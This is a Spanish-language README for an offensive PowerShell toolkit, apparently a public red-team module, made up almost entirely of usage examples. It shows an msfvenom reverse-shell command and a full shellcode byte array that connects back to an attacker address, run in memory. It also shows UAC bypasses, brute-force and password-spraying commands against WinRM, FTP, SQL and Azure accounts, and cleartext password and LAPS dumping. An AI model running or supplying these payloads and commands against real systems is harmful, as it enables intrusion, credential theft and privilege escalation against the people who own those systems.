
Colección de funciones de PowerShell que un Red Teamer puede usar en un compromiso.
Colección de funciones de PowerShell que un Red Teamer puede usar para recolectar datos de una máquina u obtener acceso a un objetivo. Agregué archivos ps1 para los comandos incluidos en el módulo RedTeamEnum. Esto te permitirá encontrar y usar fácilmente un solo comando si eso es lo que deseas. Si deseas el módulo completo, realiza las siguientes acciones después de descargar el directorio RedTeamEnum y su contenido a tu dispositivo.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Esto copiará el módulo a una ubicación que permita importarlo fácilmente. Si estás usando la sincronización de OneDrive, es posible que necesites usar $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum en su lugar.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Esto importará todos los comandos del módulo.
C:\PS> Get-Command -Module RedTeamEnum
# Esto listará todos los comandos del módulo.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Ambos ejemplos anteriores convierten la cadena Password123 a un valor hash MD5
C:\PS> Convert-SID -Username tobor
# El ejemplo anterior convierte a tobor en su valor SID
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# El valor anterior convierte el valor SID a su nombre de usuario asociado
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Este ejemplo usa las contraseñas del archivo pass.txt para descifrar el archivo KiTTY.7z protegido con contraseña
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Este ejemplo probará la única contraseña definida contra los dos usuarios admin y administrator en el equipo remoto DC01.domain.com usando WinRM sobre HTTPS con un intervalo de tiempo de 5 minutos entre cada intento
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Este ejemplo probará cada contraseña de rockyou.txt contra cada nombre de usuario en el archivo users.txt sin pausa entre intentos
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# Lo anterior devuelve todas las propiedades de los objetos devueltos en domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Si esto se ejecuta como administrador, devolverá la contraseña LAPS para la cuenta de administrador local
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTA: Si incluye el interruptor "-Detailed" y canaliza la salida a Where-Object, no devolverá ninguna propiedad. Si desea mostrar todas las propiedades de su resultado, deberá realizarlo usando el formato siguiente
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# El ejemplo anterior devuelve información sobre el recurso compartido C$ en la máquina local
#RESULTADOS
Name : C$
InstallDate :
Description : Recurso compartido predeterminado
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# El ejemplo anterior descubre y devuelve información sobre NETLOGON, SYSVOL y C$ en los 3 dispositivos remotos DC01, DC02 y 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
Abrir servidor HTTP en el puerto 8000
#O
C:\PS> Start-SimpleHTTPServer -Port 80
# Abrir servidor HTTP en el puerto 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTA: El parámetro Source solo funciona si el valor de IP Source Routing es "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# El valor predeterminado para count es 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# El siguiente comando usará las credenciales ingresadas para abrir el ejecutable msf.exe como el usuario tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
Este cmdlet también se puede usar para ejecutar archivos ubicados en su máquina local y ejecutarlos en una máquina remota.
# El siguiente comando usará las credenciales ingresadas para abrir el ejecutable exploit.ps1 como el usuario tobor en DC01 y DC02 usando WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# El siguiente comando usará las credenciales ingresadas para abrir el ejecutable exploit.ps1 como el usuario tobor en DC01 y DC02 usando WinRM sobre HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# O
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
# Generar carga útil a usar
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
Inicie un listener, use ese valor en el parámetro "ShellCode" y ejecute el comando para obtener su shell. Esto también requerirá que ciertas protecciones de memoria no estén habilitadas. NOTA: Tenga en cuenta que NO HAY COMILLAS DOBLES alrededor del valor de la variable ShellCode. Esto se debe a que se espera una matriz de bytes.
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword -All
El comando anterior devuelve todos los resultados posibles que el cmdlet puede proporcionar. También se pueden buscar ubicaciones individuales. Por ejemplo:
Get-ClearTextPassword -AutoLogon
Se pueden definir más de una ubicación en su búsqueda. Por ejemplo:
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# Este ejemplo prueba las contraseñas definidas contra la lista de nombres de usuario definidos
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# Este ejemplo prueba las contraseñas definidas contra la lista de nombres de usuario definidos con una espera de 60 segundos antes del siguiente intento de inicio de sesión
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# Este ejemplo prueba las contraseñas definidas contra la lista de nombres de usuario definidos con una espera de 60 segundos antes del siguiente intento de inicio de sesión. Realiza intentos de autenticación de manera Round Robin para los nombres de usuario definidos
$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# Este ejemplo prueba las contraseñas definidas contra la lista de nombres de usuario definidos de manera Round Robin
Test-KerberosDoubleHop -All
# Este ejemplo verifica y muestra equipos, usuarios y objetos de AD de administrador vulnerables a un salto doble de Kerberos en el controlador de dominio en el que ha iniciado sesión
Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# Este ejemplo usa WinRM para mostrar objetos de AD de usuario vulnerables a un salto doble de Kerberos en el controlador de dominio remoto DC01.domain.com
Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# Este ejemplo usa WinRM sobre HTTPS para mostrar objetos de AD de administrador vulnerables a un salto doble de Kerberos en el controlador de dominio remoto DC01.domain.com
Test-KerberosDoubleHop -ComputerResults -AdminResults
# Este ejemplo verifica y muestra equipos y objetos de AD de administrador vulnerables a un salto doble de Kerberos en el controlador de dominio en el que ha iniciado sesión
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# Este ejemplo explota el método de omisión de UAC de DCCW para abrir PowerShell con privilegios administrativos
Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# Este ejemplo explota el método de omisión de UAC de DCCW para ejecutar la carga útil msf.exe con privilegios administrativos
Enable-RDP
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# Este ejemplo prueba las dos contraseñas definidas contra la cuenta de usuario Administrator
Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este ejemplo prueba las contraseñas dentro del archivo C:\Temp\passlist.txt contra la cuenta de usuario Administrator
$Users = (Get-LocalUser).Name
ForEach $U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# Este ejemplo prueba una lista de contraseñas contra todas las cuentas de usuario locales
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# Este ejemplo prueba las 3 contraseñas definidas contra la cuenta ftpuser en el servidor FTP ubicado en FTP.domain.com a través del puerto 21
Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# Este ejemplo prueba las 3 contraseñas definidas contra las cuentas admin y ftpuser en el servidor FTP ubicado en FTP.domain.com a través del puerto 21, esperando 60 segundos entre intentos fallidos
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este ejemplo prueba las contraseñas en C:\Temp\passlist.txt contra todos los usuarios definidos en el archivo C:\Temp\userlist.txt contra el servidor FTP ubicado en FTP.domain.com a través del puerto 21, esperando 1 segundo entre intentos fallidos
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# Este ejemplo prueba las 3 contraseñas definidas contra la cuenta sa en el servidor SQL ubicado en sql.domain.com a través del puerto 1433
Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# Este ejemplo prueba las 3 contraseñas definidas contra las cuentas admin y sa en el servidor SQL ubicado en sql.domain.com a través del puerto 1433, esperando 60 segundos entre intentos fallidos
Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este ejemplo prueba las contraseñas en C:\Temp\passlist.txt contra todos los usuarios definidos en el archivo C:\Temp\userlist.txt contra el servidor SQL ubicado en sql.domain.com a través del puerto 1433, esperando 1 segundo entre intentos fallidos
Para obtener más información sobre Start-Listener, Start-Bind e Invoke-ReversePowerShell, consulte https://github.com/tobor88/ReversePowerShell